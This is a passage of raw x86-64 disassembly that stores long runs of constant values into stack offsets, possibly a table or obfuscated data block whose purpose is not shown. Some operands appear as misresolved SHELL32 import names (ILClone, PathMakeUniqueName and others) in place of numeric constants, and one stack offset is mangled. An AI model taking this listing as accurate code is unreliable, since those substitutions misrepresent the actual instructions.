mov byte [rsp + 0xa9], 0x6b
mov eax, 0x3f7
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x78fc], 0xd220
mov eax, 0x1e7
mov word [rsp + 0x1354], ax
mov eax, 0x6d8
mov word [rsp + 0x1358], ax
movabs rax, 0x705d1187a7f557
mov qword [rsp + 0xebd0], rax
movabs rax, 0x7105319bdf4176
mov qword [rsp + 0xebd8], rax
mov eax, 0x405
mov word [rsp + 0x135c], ax
movabs rax, 0x73a6bd2d5deadf
mov qword [rsp + 0xebe0], rax
mov eax, 0xa3e
mov word [rsp + 0x1360], ax
movabs rax, 0x76b263ac83f205
mov qword [rsp + 0xebe8], rax
mov dword [rsp + 0x7900], 0x8ad6
movabs rax, 0x7599d4269d9a78
mov qword [rsp + 0xebf0], rax
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x1364], ax
mov eax, 0x40d
mov word [rsp + 0x1368], ax
movabs rax, 0x7808c8b9d02f19
mov qword [rsp + 0xebf8], rax
mov eax, 0xd3
mov word [rsp + 0x136c], ax
movabs rax, 0x7e3074ee30dd33
mov qword [rsp + 0xec00], rax
mov dword [rsp + 0x7904], 0x74be
movabs rax, 0x7bb1a5d9bb151b
mov qword [rsp + 0xec08], rax
mov dword [rsp + 0x7908], 0x5a09
movabs rax, 0x796d23d159b49f
mov qword [rsp + 0xec10], rax
movabs rax, 0x7a49d3ca5c0fcf
mov qword [rsp + 0xec18], rax
mov eax, 0x3a4
mov word [rsp + 0x1370], ax
movabs rax, 0x79ceda1584a655
mov qword [rsp + 0xec20], rax
movabs rax, 0x7b6ddfd0db2341
mov qword [rsp + 0xec28], rax
mov dword [rsp + 0x790c], 0x6799
mov dword [rsp + 0x7910], 0x379c
mov eax, 0xf40
mov word [rsp + 0x1374], ax
mov dword [rsp + 0x7914], 0x699b
movabs rax, 0x747f2a12975766
mov qword [rsp + 0xec30], rax
mov eax, 0x720
mov word [rsp + 0x1378], ax
movabs rax, 0x7ab5c494a331f7
mov qword [rsp + 0xec38], rax
mov byte [rsp + 0xaa], 0x58
mov eax, 0x301
mov word [rsp + 0x137c], ax
mov byte [rsp + 0xab], 0x25
movabs rax, 0x7c68cdad90276c
mov qword [rsp + 0xec40], rax
mov eax, 0x52e
mov word [rsp + 0x1380], ax
movabs rax, 0x7b12ec0ffb2225
mov qword [rsp + 0xec48], rax
mov dword [rsp + 0x7918], 0xaa46
movabs rax, 0x78228d596a65ad
mov qword [rsp + 0xec50], rax
mov eax, 0x5e1
mov word [rsp + 0x1384], ax
movabs rax, 0x7638095aca65c1
mov qword [rsp + 0xec58], rax
mov byte [rsp + 0xac], 0x68
mov eax, 0x58d
mov word [rsp + 0x1388], ax
mov dword [rsp + 0x791c], 0x1888
movabs rax, 0x77eeec4ea46122
mov qword [rsp + 0xec60], rax
movabs rax, 0x77ea842fffe6cc
mov qword [rsp + 0xec68], rax
mov dword [rsp + 0x7920], 0x328
mov dword [rsp + 0x7924], 0x4931
movabs rax, 0x742a381a39b7e7
mov qword [rsp + 0xec70], rax
movabs rax, 0x7b7f26d6c0866d
mov qword [rsp + 0xec78], rax
mov dword [rsp + 0x7928], 0x9b90
movabs rax, 0x70e0615005628c
mov qword [rsp + 0xec80], rax
movabs rax, 0x760e6ed605ac96
mov qword [rsp + 0xec88], rax
movabs rax, 0x7b7f39b5bded59
mov qword [rsp + 0xec90], rax
movabs rax, 0x711bffe481fc04
mov qword [rsp + 0xec98], rax
mov eax, 0x8ce
mov word [rsp + 0x138c], ax
mov byte [rsp + 0xad], 0xd7
mov eax, 0x5a0
mov word [rsp + 0x1390], ax
mov dword [rsp + 0x792c], 0xe39d
mov byte [rsp + 0xae], 0xa2
movabs rax, 0x7de169f4f59015
mov qword [rsp + 0xeca0], rax
mov eax, 0x2f6
mov word [rsp + 0x1394], ax
mov byte [rsp + 0xaf], 0xf6
mov dword [rsp + 0x7930], 0x19cb
movabs rax, 0x78c89b2dd2e52c
mov qword [rsp + 0xeca8], rax
mov eax, 0x3be
mov word [rsp + 0x1398], ax
mov byte [rsp + 0xb0], 0x4f
movabs rax, 0x79497c8ba20297
mov qword [rsp + 0xecb0], rax
mov dword [rsp + 0x7934], 0x7bb
mov byte [rsp + 0xb1], ILClone
mov dword [rsp + 0x7938], 0x5de9
mov eax, 0xed0
mov word [rsp + 0x139c], ax
mov dword [rsp + 0x793c], 0x5e49
mov byte [rsp + 0xb2], 0xd3
mov dword [rsp + 0x7940], 0xabbd
mov dword [rsp + 0x7944], 0x48d5
mov eax, 0x751
mov word [rsp + 0x13a0], ax
movabs rax, 0x749519038d2ab7
mov qword [rsp + 0xecb8], rax
mov dword [rsp + 0x7948], 0x9223
mov dword [rsp + 0x794c], 0xe26f
movabs rax, 0x745623a7470c65
mov qword [rsp + 0xecc0], rax
movabs rax, 0x76bc3c19006b4d
mov qword [rsp + 0xecc8], rax
mov dword [rsp + 0x7950], 0xa050
movabs rax, 0x76e0dcb75d55d2
mov qword [rsp + 0xecd0], rax
mov dword [rsp + 0x7954], 0x1d7b
mov eax, 0x7d2
mov word [rsp + 0x13a4], ax
mov eax, 0x55e
mov word [rsp + 0x13a8], ax
movabs rax, 0x7ce11a5b8610f0
mov qword [rsp + 0xecd8], rax
mov eax, 0x4dc
mov word [rsp + 0x13ac], ax
mov dword [rsp + 0x7958], 0x4cb7
mov eax, 0x444
mov word [rsp + 0x13b0], ax
mov eax, 0x2f8
mov word [rsp + 0x13b4], ax
mov eax, 0x287
mov word [rsp + 0x13b8], ax
movabs rax, 0x742547653efe08
mov qword [rsp + 0xece0], rax
mov dword [rsp + 0x795c], 0x3844
mov dword [rsp + 0x7960], 0x552d
mov dword [rsp + 0x7964], 0x53bd
mov byte [rsp + 0xb3], SHUpdateImageW
mov eax, 0x48c
mov word [rsp + 0x13bc], ax
movabs rax, 0x75027f50f41400
mov qword [rsp + 0xece8], rax
mov dword [rsp + 0x7968], 0x26f
mov byte [rsp + 0xb4], 0xd0
mov eax, 0x6d9
mov word [rsp + 0x13c0], ax
movabs rax, 0x7e6cd871308980
mov qword [rsp + 0xecf0], rax
mov eax, 0x3bc
mov word [rsp + 0x13c4], ax
mov eax, 0x8bd
mov word [rsp + 0x13c8], ax
movabs rax, 0x7df9baee806baf
mov qword [rsp + 0xecf8], rax
mov eax, 0x2e2
mov word [rsp + 0x13cc], ax
movabs rax, 0x7107c4bf768491
mov qword [rsp + 0xed00], rax
mov byte [rsp + 0xb5], 0x67
mov dword [rsp + 0x796c], 0x63c2
movabs rax, 0x7d8dedca1eef63
mov qword [rsp + 0xed08], rax
mov eax, 0x3c2
mov word [rsp + 0x13d0], ax
movabs rax, 0x7cecc114d61a55
mov qword [rsp + 0xed10], rax
movabs rax, 0x77a8517079f49f
mov qword [rsp + 0xed18], rax
mov eax, 0x620
mov word [rsp + 0x13d4], ax
movabs rax, 0x740a1cd84d50f4
mov qword [rsp + 0xed20], rax
movabs rax, 0x7329fe122285a1
mov qword [rsp + 0xed28], rax
mov eax, 0x6c0
mov word [rsp + 0x13d8], ax
movabs rax, 0x74a195b34e5724
mov qword [rsp + 0xed30], rax
mov eax, 0xdde
mov word [rsp + 0x13dc], ax
mov byte [rsp + 0xb6], 0xf7
mov dword [rsp + 0x7970], 0xd94c
mov dword [rsp + 0x7974], 0x4bbc
mov eax, 0x51
mov word [rsp + 0x13e0], ax
mov dword [rsp + 0x7978], 0x6e57
movabs rax, 0x75dab287d7a26b
mov qword [rsp + 0xed38], rax
mov dword [rsp + 0x797c], 0x2253
mov eax, 0x4ad
mov word [rsp + 0x13e4], ax
mov dword [rsp + 0x7980], 0x4e9d
mov byte [rsp + 0xb7], 0x67
mov dword [rsp + 0x7984], 0x724a
mov eax, 0x512
mov word [rsp + 0x13e8], ax
movabs rax, 0x73af4ed1116766
mov qword [rsp + 0xed40], rax
movabs rax, 0x7217e921dc252b
mov qword [rsp + 0xed48], rax
mov dword [rsp + 0x7988], 0x4d11
mov dword [rsp + 0x798c], 0x6d51
movabs rax, 0x7a5885264451ed
mov qword [rsp + 0xed50], rax
movabs rax, 0x70eaa4abf3b9a5
mov qword [rsp + 0xed58], rax
mov dword [rsp + 0x7990], 0x4549
mov byte [rsp + 0xb8], 0x5b
mov byte [rsp + 0xb9], 0x33
mov byte [rsp + 0xba], PathMakeUniqueName
mov eax, 0x4f4
mov word [rsp + 0x13ec], ax
movabs rax, 0x76f81cc14c983d
mov qword [rsp + 0xed60], rax
mov dword [rsp + 0x7994], 0x4c99
mov dword [rsp + 0x7998], 0x4f8a
mov eax, 0x3e
mov word [rsp + 0x13f0], ax
mov byte [rsp + 0xbb], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x405
mov word [rsp + 0x13f4], ax
mov eax, 0x103
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x799c], 0x5249
mov dword [rsp + 0x79a0], 0xe014
mov dword [rsp + 0x79a4], 0x9be4
mov dword [rsp + 0x79a8], 0xee67
mov eax, 0x41d
mov word [rsp + 0x13fc], ax
mov dword [rsp + 0x79ac], 0x5d5a
movabs rax, 0x744577491513db
mov qword [rsp + 0xed68], rax
movabs rax, 0x788d023779c4c7
mov qword [rsp + 0xed70], rax
mov eax, 0xde
mov word [rsp + 0x1400], ax
movabs rax, 0x74fdaa612eabc0
mov qword [rsp + 0xed78], rax
mov byte [rsp + 0xbc], 0x31
mov byte [rsp + 0xbd], PathMakeUniqueName
mov dword [rsp + 0x79b0], 0x7906
movabs rax, 0x78e38fb10efde5
mov qword [rsp + 0xed80], rax
movabs rax, 0x7c8b8ee3858632
mov qword [rsp + 0xed88], rax
mov eax, 0x1f1
mov word [rsp + 0x1404], ax
movabs rax, 0x7ac0df82e345b9
mov qword [rsp + 0xed90], rax
mov byte [rsp + 0xbe], 0x31
movabs rax, 0x7cc234a1a5bc8e
mov qword [rsp + 0xed98], rax
movabs rax, 0x71df4489714acf
mov qword [rsp + 0xeda0], rax
mov byte [rsp + 0xbf], PathYetAnotherMakeUniqueName
movabs rax, 0x727f1b441389cb
mov qword [rsp + 0xeda8], rax
mov eax, 0x559
mov word [rsp + 0x1408], ax
mov byte [rsp + 0xc0], 0x53
mov dword [rsp + 0x79b4], 0x63d9
mov byte [rsp + 0xc1], 0x32
mov dword [rsp + 0x79b8], 0x404e
movabs rax, 0x7c20ca84648cc9
mov qword [rsp + 0xedb0], rax
mov dword [rsp + 0x79bc], 0xa386
mov byte [rsp + 0xc2], 0x83
mov eax, 0x75e
mov word [rsp + 0x140c], ax
mov eax, 0xce9
mov word [rsp + 0x1410], ax
mov eax, 0x64b
mov word [rsp + 0x1414], ax
mov byte [rsp + 0xc3], 0xc1
movabs rax, 0x7ddc475611e772
mov qword [rsp + 0xedb8], rax
mov dword [rsp + 0x79c0], 0x2a8b
movabs rax, 0x7089b949222c10
mov qword [rsp + 0xedc0], rax
mov eax, 8
mov word [rsp + 0x1418], ax
mov eax, 0x726
mov word [rsp + 0x141c], ax
mov dword [rsp + 0x79c4], 0x58a8
mov eax, 0x26d
mov word [rsp + 0x1420], ax
mov byte [rsp + 0xc4], 0x5a
mov dword [rsp + 0x79c8], 0x12c6
mov eax, 0x765
mov word [rsp + 0x1424], ax
mov eax, 0x611
mov word [rsp + 0x1428], ax
movabs rax, 0x76f299383dcd6d
mov qword [rsp + 0xedc8], rax
movabs rax, 0x71ef9c0829990e
mov qword [rsp + 0xedd0], rax
mov dword [rsp + 0x79cc], 0x969d
mov dword [rsp + 0x79d0], 0xeaf9
mov dword [rsp + 0x79d4], 0x1e00
movabs rax, 0x7ba01ad40396ad
mov qword [rsp + 0xedd8], rax
mov dword [rsp + 0x79d8], 0x9302
movabs rax, 0x7d3f134c54d691
mov qword [rsp + 0xede0], rax
mov byte [rsp + 0xc5], 0x7c
movabs rax, 0x7d6a936b6bb280
mov qword [rsp + 0xede8], rax
mov dword [rsp + 0x79dc], 0x7829
mov eax, 0x4c2
mov word [rsp + 0x142c], ax
movabs rax, 0x74cc7fd718e8c1
mov qword [rsp + 0xedf0], rax
mov dword [rsp + 0x79e0], 0xded3
mov byte [rsp + 0xc6], 0x42
movabs rax, 0x7d1d75f1ed9f2b
mov qword [rsp + 0xedf8], rax
movabs rax, 0x7904bcfa24fe25
mov qword [rsp + 0xee00], rax
mov byte [rsp + 0xc7], 0x7d
mov byte [rsp + 0xc8], 0xd3
mov byte [rsp + 0xc9], SHTestTokenMembership
movabs rax, 0x7cb8f5ebf889a6
mov qword [rsp + 0xee08], rax
mov eax, 0x54
mov word [rsp + 0x1430], ax
mov dword [rsp + 0x79e4], 0x8233
mov dword [rsp + 0x79e8], 0x34c9
mov dword [rsp + 0x79ec], 0x1e5d
movabs rax, 0x79b28125c8e538
mov qword [rsp + 0xee10], rax
mov dword [rsp + 0x79f0], 0xd83f
mov byte [rsp + 0xca], 0x23
mov byte [rsp + 0xcb], reloc.SHELL32.dll_PathMakeUniqueName
mov dword [rsp + 0x79f4], 0x683e
movabs rax, 0x7dc89f9ec8746d
mov qword [rsp + 0xee18], rax
mov eax, 0x3ae
mov word [rsp + 0x1434], ax
mov eax, 0x34e
mov word [rsp + 0x1438], ax
mov eax, 0x168
mov word [rsp + 0x143c], ax
mov dword [rsp + 0x79f8], 0x511e
mov byte [rsp + 0xcc], 9
mov eax, 0x425
mov word [rsp + 0x1440], ax
mov byte [rsp + 0xcd], 0x6e
movabs rax, 0x7b7a540482a18b
mov qword [rsp + 0xee20], rax
mov byte [rsp + 0xce], 0x35
movabs rax, 0x7da8b61ca29b65
mov qword [rsp + 0xee28], rax
mov byte [rsp + 0xcf], 0x69
movabs rax, 0x7d397d87ae6efd
mov qword [rsp + 0xee30], rax
mov eax, 0x3cd
mov word [rsp + 0x1444], ax
movabs rax, 0x7cdf41719d3c21
mov qword [rsp + 0xee38], rax
movabs rax, 0x78625d66fc7b59
mov qword [rsp + 0xee40], rax
mov eax, 0x10f
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x79fc], 0x8d3a
movabs rax, 0x7a1d82ac9bb056
mov qword [rsp + 0xee48], rax
mov dword [rsp + 0x7a00], 0x1216
movabs rax, 0x750dce8c232392
mov qword [rsp + 0xee50], rax
movabs rax, 0x7e32a10d0a9e05
mov qword [rsp + 0xee58], rax
movabs rax, 0x79cc6209a9d72a
mov qword [rsp + 0xee60], rax
mov dword [rsp + 0x7a04], 0xc43b
mov eax, 0x288
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x7a08], 0x8959
mov eax, 0x601
mov word [rsp + 0x1450], ax
mov eax, 0x7a4
mov word [rsp + 0x1454], ax
mov eax, 0x506
mov word [rsp + 0x1458], ax
mov dword [rsp + 0x7a0c], 0x180f
movabs rax, 0x733dde2183ffde
mov qword [rsp + 0xee68], rax
mov dword [rsp + 0x7a10], 0x7d2f
movabs rax, 0x7b9631b5dc98d6
mov qword [rsp + 0xee70], rax
mov eax, 0x78f
mov word [rsp + 0x145c], ax
mov eax, 0x30c
mov word [rsp + 0x1460], ax
mov byte [rsp + 0xd0], ILClone
mov dword [rsp + 0x7a14], 0x8fdf
mov eax, 0x574
mov word [rsp + 0x1464], ax
mov eax, 0xccb
mov word [rsp + 0x1468], ax
mov byte [rsp + 0xd1], SHSetInstanceExplorer
mov dword [rsp + 0x7a18], 0x6643
mov eax, 0x34a
mov word [rsp + 0x146c], ax
movabs rax, 0x78fd0146bfb376
mov qword [rsp + 0xee78], rax
mov eax, 0x23b
mov word [rsp + 0x1470], ax
mov byte [rsp + 0xd2], 0x6b
movabs rax, 0x75f90b310d4889
mov qword [rsp + 0xee80], rax
mov byte [rsp + 0xd3], 6
mov dword [rsp + 0x7a1c], 0xdb7
mov dword [rsp + 0x7a20], 0x16e9
movabs rax, 0x720c4b02286993
mov qword [rsp + 0xee88], rax
mov dword [rsp + 0x7a24], 0x3ce9
mov eax, 0xc09
mov word [rsp + 0x1474], ax
mov eax, 0x583
mov word [rsp + 0x1478], ax
movabs rax, 0x7a2371bd953aff
mov qword [rsp + 0xee90], rax
mov eax, 0x2cd
mov word [rsp + 0x147c], ax
movabs rax, 0x735a501489b32a
mov qword [rsp + 0xee98], rax
movabs rax, 0x75ad4481cae166
mov qword [rsp + 0xeea0], rax
mov dword [rsp + 0x7a28], 0xa93
movabs rax, 0x70edf1c808bb68
mov qword [rsp + 0xeea8], rax
movabs rax, 0x739d0170c7f57f
mov qword [rsp + 0xeeb0], rax
mov eax, 0x642
mov word [rsp + 0x1480], ax
mov dword [rsp + 0x7a2c], 0x4f47
mov eax, 0x1a4
mov word [rsp + 0x1484], ax
mov dword [rsp + 0x7a30], 0x3d84
movabs rax, 0x717a74d3afe482
mov qword [rsp + 0xeeb8], rax
movabs rax, 0x79bdf0bb01f746
mov qword [rsp + 0xeec0], rax
mov dword [rsp + 0x7a34], 0xc7d
movabs rax, 0x7dd55cfe49791f
mov qword [rsp + 0xeec8], rax
mov dword [rsp + 0x7a38], 0x8f5b
movabs rax, 0x7d9cfe93f01eba
mov qword [rsp + 0xeed0], rax
mov dword [rsp + 0x7a3c], 0x67fd
mov eax, 0x1cf
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x7a40], 0x947
mov dword [rsp + 0x7a44], 0x7b3f
movabs rax, 0x74dbcb40c70612
mov qword [rsp + 0xeed8], rax
mov byte [rsp + 0xd4], 0x34
movabs rax, 0x7c3fefadd16503
mov qword [rsp + 0xeee0], rax
mov byte [rsp + 0xd5], 0x7d
mov byte [rsp + 0xd6], 0x7d
mov dword [rsp + 0x7a48], 0x9510
mov dword [rsp + 0x7a4c], 0x1007
mov dword [rsp + 0x7a50], 0x1786
mov eax, 0x64c
mov word [rsp + 0x148c], ax
movabs rax, 0x7bb572fe6854ee
mov qword [rsp + 0xeee8], rax
movabs rax, 0x7a1bb1b16b8550
mov qword [rsp + 0xeef0], rax
movabs rax, 0x74a23643bbd206
mov qword [rsp + 0xeef8], rax
mov eax, 0x142
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x7a54], 0x2c33
mov eax, 0x566
mov word [rsp + 0x1494], ax
mov eax, 0x179
mov word [rsp + 0x1498], ax
mov dword [rsp + 0x7a58], 0x1ee0
mov dword [rsp + 0x7a5c], 0xb0d0
movabs rax, 0x7854675adb2cf4
mov qword [rsp + 0xef00], rax
mov byte [rsp + 0xd7], 0x3f
movabs rax, 0x70ee09a2408247
mov qword [rsp + 0xef08], rax
movabs rax, 0x7d0a67a5e32d28
mov qword [rsp + 0xef10], rax
mov dword [rsp + 0x7a60], 0x56ef
mov dword [rsp + 0x7a64], 0x2b8c
movabs rax, 0x73480616754a75
mov qword [rsp + 0xef18], rax
mov eax, 0x3db
mov word [rsp + 0x149c], ax
mov byte [rsp + 0xd8], 0xa8
mov eax, 0x6ff
mov word [rsp + 0x14a0], ax
mov byte [rsp + 0xd9], 0x57
mov eax, 0x637
mov word [rsp + 0x14a4], ax
movabs rax, 0x785a730cc981b4
mov qword [rsp + 0xef20], rax
mov dword [rsp + 0x7a68], 0x1d82
mov eax, 0x5ad
mov word [rsp + 0x14a8], ax
mov eax, 0x3c3
mov word [rsp + 0x14ac], ax
mov byte [rsp + 0xda], 0x87
mov byte [rsp + ILCloneb], 0xd
movabs rax, 0x78d2dca955279f
mov qword [rsp + 0xef28], rax
mov dword [rsp + 0x7a6c], 0x3d29
movabs rax, 0x75e64e086cab7d
mov qword [rsp + 0xef30], rax
mov byte [rsp + 0xdc], 0
movabs rax, 0x7b49d7d55eb373
mov qword [rsp + 0xef38], rax
mov byte [rsp + 0xdd], ILClone
mov byte [rsp + 0xde], 0xfb
mov eax, 0x481
mov word [rsp + 0x14b0], ax
mov dword [rsp + 0x7a70], 0x371e
movabs rax, 0x778a9870516e1f
mov qword [rsp + 0xef40], rax
mov eax, 0x2c9
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x7a74], 0x2903
movabs rax, 0x7a16d01564fcf7
mov qword [rsp + 0xef48], rax
mov dword [rsp + 0x7a78], 0xa9c5
movabs rax, 0x7ed68eb0428e24
mov qword [rsp + 0xef50], rax
movabs rax, 0x7bb59c4c318936
mov qword [rsp + 0xef58], rax
mov dword [rsp + 0x7a7c], 0xe5e7
mov eax, 0x463
mov word [rsp + 0x14b8], ax
mov dword [rsp + 0x7a80], 0x41f7
movabs rax, 0x7e5558eb380498
mov qword [rsp + 0xef60], rax
mov eax, 0xdab
mov word [rsp + 0x14bc], ax
movabs rax, 0x734f6accf2a6d2
mov qword [rsp + 0xef68], rax
mov eax, 0x85e
mov word [rsp + 0x14c0], ax
mov byte [rsp + 0xdf], PathMakeUniqueName
mov eax, ILSaveToStream
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x7a84], 0x19aa
mov dword [rsp + 0x7a88], 0x2241
mov byte [rsp + 0xe0], 0x3f
mov dword [rsp + 0x7a8c], 0x6659
movabs rax, 0x7c7ffc3ff3a03e
mov qword [rsp + 0xef70], rax
movabs rax, 0x7c4cfd11535ff5
mov qword [rsp + 0xef78], rax
mov eax, 0x174
mov word [rsp + 0x14c8], ax
mov eax, 0x240
mov word [rsp + 0x14cc], ax
mov eax, 0xe4f
mov word [rsp + 0x14d0], ax
mov dword [rsp + 0x7a90], 0xb7c9
mov dword [rsp + 0x7a94], 0xbf29
movabs rax, 0x7413856a2fc5b2
mov qword [rsp + 0xef80], rax
mov dword [rsp + 0x7a98], 0xeaa
mov byte [rsp + 0xe1], PathMakeUniqueName
mov dword [rsp + 0x7a9c], 0x85be
mov dword [rsp + 0x7aa0], 0x450d
movabs rax, 0x74e44229be4d14
mov qword [rsp + 0xef88], rax
movabs rax, 0x7921aa60124bfc
mov qword [rsp + 0xef90], rax
movabs rax, 0x75c253603bc712
mov qword [rsp + 0xef98], rax
mov dword [rsp + 0x7aa4], 0x2b5d
mov eax, 0x1c9
mov word [rsp + 0x14d4], ax
mov byte [rsp + 0xe2], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xe3], 0x86
movabs rax, 0x7ea2048eb00737
mov qword [rsp + 0xefa0], rax
mov eax, 0xd46
mov word [rsp + 0x14d8], ax
movabs rax, 0x769147143b1a11
mov qword [rsp + 0xefa8], rax
movabs rax, 0x7a15e6b7256020
mov qword [rsp + 0xefb0], rax
mov eax, 0x2da
mov word [rsp + 0x14dc], ax
movabs rax, 0x702bdbd0c427f3
mov qword [rsp + 0xefb8], rax
movabs rax, 0x7c85a1d5ccb2c1
mov qword [rsp + 0xefc0], rax
mov eax, 0x294
mov word [rsp + 0x14e0], ax
mov eax, 0xd83
mov word [rsp + 0x14e4], ax
movabs rax, 0x74a830ba4c4cb0
mov qword [rsp + 0xefc8], rax
movabs rax, 0x7ca5a9f80bd208
mov qword [rsp + 0xefd0], rax
mov dword [rsp + 0x7aa8], 0xf825
movabs rax, 0x7afb298e401bb0
mov qword [rsp + 0xefd8], rax
movabs rax, 0x7d7b6e837861af
mov qword [rsp + 0xefe0], rax
mov eax, 0x724
mov word [rsp + 0x14e8], ax
mov dword [rsp + 0x7aac], 0x450f
movabs rax, 0x71e524c8f3df8b
mov qword [rsp + 0xefe8], rax
mov dword [rsp + 0x7ab0], 0xd42e
movabs rax, 0x75a16b8f94f2ea
mov qword [rsp + 0xeff0], rax
mov byte [rsp + 0xe4], 0xd1
mov byte [rsp + 0xe5], 0xeb
mov byte [rsp + 0xe6], 0x5f
mov byte [rsp + 0xe7], 0x1e
mov byte [rsp + 0xe8], 0x6e
mov eax, 0xcda
mov word [rsp + 0x14ec], ax
mov eax, 0x654
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x7ab4], 0x7322
mov dword [rsp + 0x7ab8], 0xf3a9
mov byte [rsp + 0xe9], 0xb5
mov dword [rsp + 0x7abc], 0x2225
movabs rax, 0x75dd4092cec173
mov qword [rsp + 0xeff8], rax
mov dword [rsp + 0x7ac0], 0x3b65
mov eax, 0x6c1
mov word [rsp + 0x14f4], ax
movabs rax, 0x71b2e6d9c759ad
mov qword [rsp + 0xf000], rax
mov dword [rsp + 0x7ac4], 0x752d
mov eax, 0xe0c
mov word [rsp + 0x14f8], ax
movabs rax, 0x75d3611f430dd7
mov qword [rsp + 0xf008], rax
mov dword [rsp + 0x7ac8], 0xb544
mov eax, 0x849
mov word [rsp + 0x14fc], ax
movabs rax, 0x774b5bc3f1604f
mov qword [rsp + 0xf010], rax
mov byte [rsp + 0xea], 0x3a
movabs rax, 0x72bf9b2fb397e0
mov qword [rsp + 0xf018], rax
mov dword [rsp + 0x7acc], 0xa74b
mov dword [rsp + 0x7ad0], 0xa867
mov byte [rsp + 0xeb], 0x78
mov byte [rsp + 0xec], 0x54
movabs rax, 0x78158566a6a53d
mov qword [rsp + 0xf020], rax
mov byte [rsp + 0xed], PathYetAnotherMakeUniqueName
movabs rax, 0x7e275975204043
mov qword [rsp + 0xf028], rax
movabs rax, 0x7341e152392168
mov qword [rsp + 0xf030], rax
mov byte [rsp + 0xee], 0
mov eax, 0x2ef
mov word [rsp + 0x1500], ax
movabs rax, 0x76472188804392
mov qword [rsp + 0xf038], rax
mov byte [rsp + 0xef], 6
mov dword [rsp + 0x7ad4], 0x4aaf
movabs rax, 0x7abdc1c89148dc
mov qword [rsp + 0xf040], rax
mov eax, 0xfac
mov word [rsp + 0x1504], ax
mov eax, 0x37b
mov word [rsp + 0x1508], ax
mov byte [rsp + 0xf0], 0xf8
mov eax, 0x55c
mov word [rsp + 0x150c], ax
mov dword [rsp + 0x7ad8], 0x1d39
mov byte [rsp + 0xf1], 0x57
mov eax, 0x7e1
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x7adc], 0x1663
mov eax, 0x73c
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x7ae0], 0xcf5b
mov eax, 0xe7a
mov word [rsp + 0x1518], ax
mov byte [rsp + 0xf2], 0xcf
movabs rax, 0x7b20de7480ad38
mov qword [rsp + 0xf048], rax
movabs rax, 0x77e7344e82cdbb
mov qword [rsp + 0xf050], rax
mov eax, 0x4b4
mov word [rsp + 0x151c], ax
mov eax, 0x428
mov word [rsp + 0x1520], ax
mov eax, 0x7f5
mov word [rsp + 0x1524], ax
mov dword [rsp + 0x7ae4], 0x2230
movabs rax, 0x7d8cdf8bfd1a58
mov qword [rsp + 0xf058], rax
movabs rax, 0x76c09117d95601
mov qword [rsp + 0xf060], rax
movabs rax, 0x7c9698b6b31d3a
mov qword [rsp + 0xf068], rax
mov eax, 0xcef
mov word [rsp + 0x1528], ax
mov dword [rsp + 0x7ae8], 0x902a
movabs rax, 0x7850756cd4bab0
mov qword [rsp + 0xf070], rax
mov byte [rsp + 0xf3], 0xd3
mov byte [rsp + 0xf4], 0x89
mov dword [rsp + 0x7aec], 0x9a9e
mov eax, 0xda
mov word [rsp + 0x152c], ax
mov byte [rsp + 0xf5], 0xa1
mov dword [rsp + 0x7af0], 0x3a67
mov byte [rsp + 0xf6], 0x13
mov byte [rsp + 0xf7], 0xe3
movabs rax, 0x72f92fff2f33be
mov qword [rsp + 0xf078], rax
mov byte [rsp + 0xf8], 0x68
mov dword [rsp + 0x7af4], 0x53aa
mov dword [rsp + 0x7af8], 0x7259
mov dword [rsp + 0x7afc], 0xca8
mov dword [rsp + 0x7b00], 0x2502
mov eax, ILSaveToStream
mov word [rsp + 0x1530], ax
mov dword [rsp + 0x7b04], 0x71b5
mov dword [rsp + 0x7b08], 0x74d
mov eax, 0x21b
mov word [rsp + 0x1534], ax
movabs rax, 0x7cbd068533a04f
mov qword [rsp + 0xf080], rax
mov byte [rsp + 0xf9], 0x43
mov byte [rsp + 0xfa], 0x38
mov eax, 0xc52
mov word [rsp + 0x1538], ax
mov byte [rsp + 0xfb], ILSaveToStream
mov eax, 0x196
mov word [rsp + 0x153c], ax
movabs rax, 0x723688cb627847
mov qword [rsp + 0xf088], rax
mov dword [rsp + 0x7b0c], 0x1f1b
mov dword [rsp + 0x7b10], 0x200a
mov byte [rsp + 0xfc], 0x72
mov byte [rsp + 0xfd], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov byte [rsp + 0xfe], 0x3a
mov dword [rsp + 0x7b14], 0x2448
movabs rax, 0x775cccd7221b72
mov qword [rsp + 0xf090], rax
movabs rax, 0x7c16c78f2a415b
mov qword [rsp + 0xf098], rax
mov byte [rsp + 0xff], SHGetNewLinkInfoW
mov byte [rsp + 0x100], 0xfc
mov byte [rsp + 0x101], 0xfb
movabs rax, 0x7238677e891896
mov qword [rsp + 0xf0a0], rax
mov byte [rsp + 0x102], 0xb8
mov eax, 0xff9
mov word [rsp + 0x1540], ax
mov dword [rsp + 0x7b18], 0xf2c1
mov eax, 0x3dd
mov word [rsp + 0x1544], ax
mov dword [rsp + 0x7b1c], 0x1c2
movabs rax, 0x77b8daed51c2c2
mov qword [rsp + 0xf0a8], rax
mov dword [rsp + 0x7b20], 0x67cb
movabs rax, 0x7c32a088082ce3
mov qword [rsp + 0xf0b0], rax
mov byte [rsp + 0x103], ILSaveToStream
mov dword [rsp + 0x7b24], 0x686f
movabs rax, 0x74ac80dc797fed
mov qword [rsp + 0xf0b8], rax
mov byte [rsp + 0x104], ILGetNext
movabs rax, 0x7488508f288a44
mov qword [rsp + 0xf0c0], rax
mov byte [rsp + 0x105], 0xca
mov eax, 0x5cc
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x7b28], 0xcf6c
movabs rax, 0x7826a9a6ab9751
mov qword [rsp + 0xf0c8], rax
mov dword [rsp + 0x7b2c], 0xfa8a
mov byte [rsp + 0x106], 0x82
mov eax, 0x3e6
mov word [rsp + 0x154c], ax
mov eax, 0x60d
mov word [rsp + 0x1550], ax
mov byte [rsp + 0x107], 0x7c
mov eax, 0x594
mov word [rsp + 0x1554], ax
movabs rax, 0x72d149294d3d47
